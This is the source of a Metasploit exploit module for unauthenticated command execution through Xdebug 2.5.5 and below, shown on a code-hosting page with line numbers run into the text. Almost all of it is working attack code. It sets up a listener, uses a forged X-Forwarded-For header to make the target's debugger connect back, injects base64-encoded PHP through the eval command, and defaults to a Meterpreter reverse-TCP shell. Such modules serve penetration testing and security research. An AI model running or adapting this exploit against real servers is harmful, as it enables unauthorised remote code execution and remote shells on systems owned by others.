Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/xdebug_unauth_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient10include Rex::Proto::Http1112def initialize(info = {})13super(update_info(info,14'Name' => 'xdebug Unauthenticated OS Command Execution',15'Description' => %q{16Module exploits a vulnerability in the eval command present in Xdebug versions 2.5.5 and below.17This allows the attacker to execute arbitrary php code as the context of the web user.18},19'DisclosureDate' => '2017-09-17',20'Author' => [21'Ricter Zheng', #Discovery https://twitter.com/RicterZ22'Shaksham Jaiswal', # MinatoTW23'Mumbai' # Austin Hudson24],25'References' => [26['URL', 'https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/'],27['URL', 'https://paper.seebug.org/397/']28],29'License' => MSF_LICENSE,30'Platform' => 'php',31'Arch' => [ARCH_PHP],32'DefaultTarget' => 0,33'Stance' => Msf::Exploit::Stance::Aggressive,34'DefaultOptions' => {35'PAYLOAD' => 'php/meterpreter/reverse_tcp'36},37'Payload' => {38'DisableNops' => true,39},40'Targets' => [[ 'Automatic', {} ]],41))4243register_options([44OptString.new('PATH', [ true, "Path to target webapp", "/index.php"]),45OptAddress.new('SRVHOST', [ true, "Callback host for accepting connections", "0.0.0.0"]),46OptInt.new('SRVPORT', [true, "Port to listen for the debugger", 9000]),47Opt::RPORT(80),48])49end5051def check52begin53res = send_request_cgi({54'uri' => datastore["PATH"],55'method' => 'GET',56'vars_get' => {57'XDEBUG_SESSION_START' => rand_text_alphanumeric(10)58}59})60vprint_status "Request sent\n#{res}"61if res && res.headers.to_s =~ /XDEBUG/i62vprint_good("Looks like remote server has xdebug enabled\n")63return CheckCode::Detected64else65return CheckCode::Safe66end67rescue Rex::ConnectionError68return CheckCode::Unknown69end70end7172def exploit73payl = Rex::Text.encode_base64("#{payload.encoded}")74cmd1 = "eval -i 1 -- " + Rex::Text.encode_base64("eval(base64_decode(\"#{payl}\"));") + "\x00"75webserver = Thread.new do76begin77server = Rex::Socket::TcpServer.create(78'LocalPort' => datastore['SRVPORT'],79'LocalHost' => datastore['SRVHOST'],80'Context' => {81'Msf' => framework,82'MsfExploit' => self83})8485client = server.accept86print_status("Waiting for client response.")87data = client.recv(1024)88print_status("Receiving response")89vprint_line(data)90print_status("Shell might take upto a minute to respond.Please be patient.")91print_status("Sending payload of size #{cmd1.length} bytes")92client.write(cmd1)93client.close94server.close95webserver.exit96ensure97webserver.exit98end99end100send_request_cgi({101'uri' => datastore['PATH'],102'method' => 'GET',103'headers' => {104'X-Forwarded-For' => "#{lhost}",105'Cookie' => 'XDEBUG_SESSION='+rand_text_alphanumeric(10)106}107})108end109end110111112